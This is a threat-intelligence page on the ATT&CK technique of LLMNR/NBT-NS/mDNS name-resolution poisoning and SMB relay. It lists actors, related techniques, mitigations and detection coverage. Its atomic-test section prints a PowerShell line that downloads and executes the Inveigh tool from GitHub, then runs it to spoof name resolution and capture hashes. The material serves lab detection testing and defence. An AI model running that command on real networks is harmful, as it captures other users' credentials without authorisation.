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ATT&CK Technique

Name Resolution Poisoning and SMB Relay

T1557.001 · credential-access, collection

By responding to LLMNR/NBT-NS/mDNS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification.

LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. Multicast Domain Name System(mDNS) is a zero-configuration service used to resolve hostnames to IP addresses with “.local” as a top-level domain.

MDNS is based upon Domain Name System (DNS) format and allows hosts on the same network segment to perform name resolution for other hosts, using multicast. Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137)/mDNS (UDP 5353) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system.

The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.

Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various other protocols, such as LDAP, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.

Windows
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Actors Using This

7
iranOilRig
iranAPT35
brazilBanbra
south_koreaDarkhotel
us_israel_joint_offensive_cyber_speculationFlame
north_koreaLazarus Group
turkeySea Turtle
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Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
reconnaissance earlier
T1589.002 · Email Addresses ×4.43T1589 · Gather Victim Identity Information ×4.08
resource-development earlier
T1588.003 · Code Signing Certificates ×10.20T1587.003 · Digital Certificates ×6.80T1586.002 · Email Accounts ×5.37T1586 · Compromise Accounts ×5.10T1587.002 · Code Signing Certificates ×3.29
execution earlier
T1059.006 · Python ×3.40
persistence earlier
T1098.005 · Device Registration ×8.50
credential-access same
T1557 · Adversary-in-the-Middle ×11.33T1110.004 · Credential Stuffing ×8.50T1110.003 · Password Spraying ×4.69
lateral-movement later
T1021.004 · SSH ×2.78
impact later
T1565.001 · Stored Data Manipulation ×4.25
other same
T1027.010 · Command Obfuscation ×3.40
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Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsLLMNR Poisoning with Inveigh (PowerShell)
Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
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Mitigations

4
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1030Network Segmentation

Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise. Effective network segmentation leverages a combination of physical boundaries, logical separation through VLANs, and access control policies enforced by network appliances like firewalls, routers, and cloud-based configurations.

Segment Critical Systems
  • Identify and group systems based on their function, sensitivity, and risk. Examples include payment systems, HR databases, production systems, and internet-facing servers.
  • Use VLANs, firewalls, or routers to enforce logical separation.
Implement DMZ for Public-Facing Services
  • Host web servers, DNS servers, and email servers in a DMZ to limit their access to internal systems.
  • Apply strict firewall rules to filter traffic between the DMZ and internal networks.
Use Cloud-Based Segmentation
  • In cloud environments, use VPCs, subnets, and security groups to isolate applications and enforce traffic rules.
  • Apply AWS Transit Gateway or Azure VNet peering for controlled connectivity between cloud segments.
Apply Microsegmentation for Workloads
  • Use software-defined networking (SDN) tools to implement workload-level segmentation and prevent lateral movement.
Restrict Traffic with ACLs and Firewalls
  • Apply Access Control Lists (ACLs) to network devices to enforce "deny by default" policies.
  • Use firewalls to restrict both north-south (external-internal) and east-west (internal-internal) traffic.
Monitor and Audit Segmented Networks
  • Regularly review firewall rules, ACLs, and segmentation policies.
  • Monitor network flows for anomalies to ensure segmentation is effective.
Test Segmentation Effectiveness
  • Perform periodic penetration tests to verify that unauthorized access is blocked between network segments.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1037Filter Network Traffic

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Ingress Traffic Filtering
  • Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
  • Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.
Egress Traffic Filtering
  • Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
  • Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.
Protocol-Based Filtering
  • Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.
  • Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.
Network Segmentation
  • Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
  • Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.
Application Layer Filtering
  • Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
  • Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.
M1042Disable or Remove Feature or Program

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled.

Remove Legacy Software
  • Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
  • Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.
Disable Unused Features
  • Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
  • Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.
Control Applications Installed by Users
  • Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
  • Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.
Remove Unnecessary Services
  • Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
  • Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.
Restrict Add-ons and Plugins
  • Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
  • Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 10
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Comply & Defend

NIST 800-53AC-03, AC-04, CA-07, CM-02, CM-06, CM-07, CM-08, SC-07, SC-08, SC-23, SC-46, SI-03, SI-04, SI-10, SI-15
D3FEND10 defensive techniques
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
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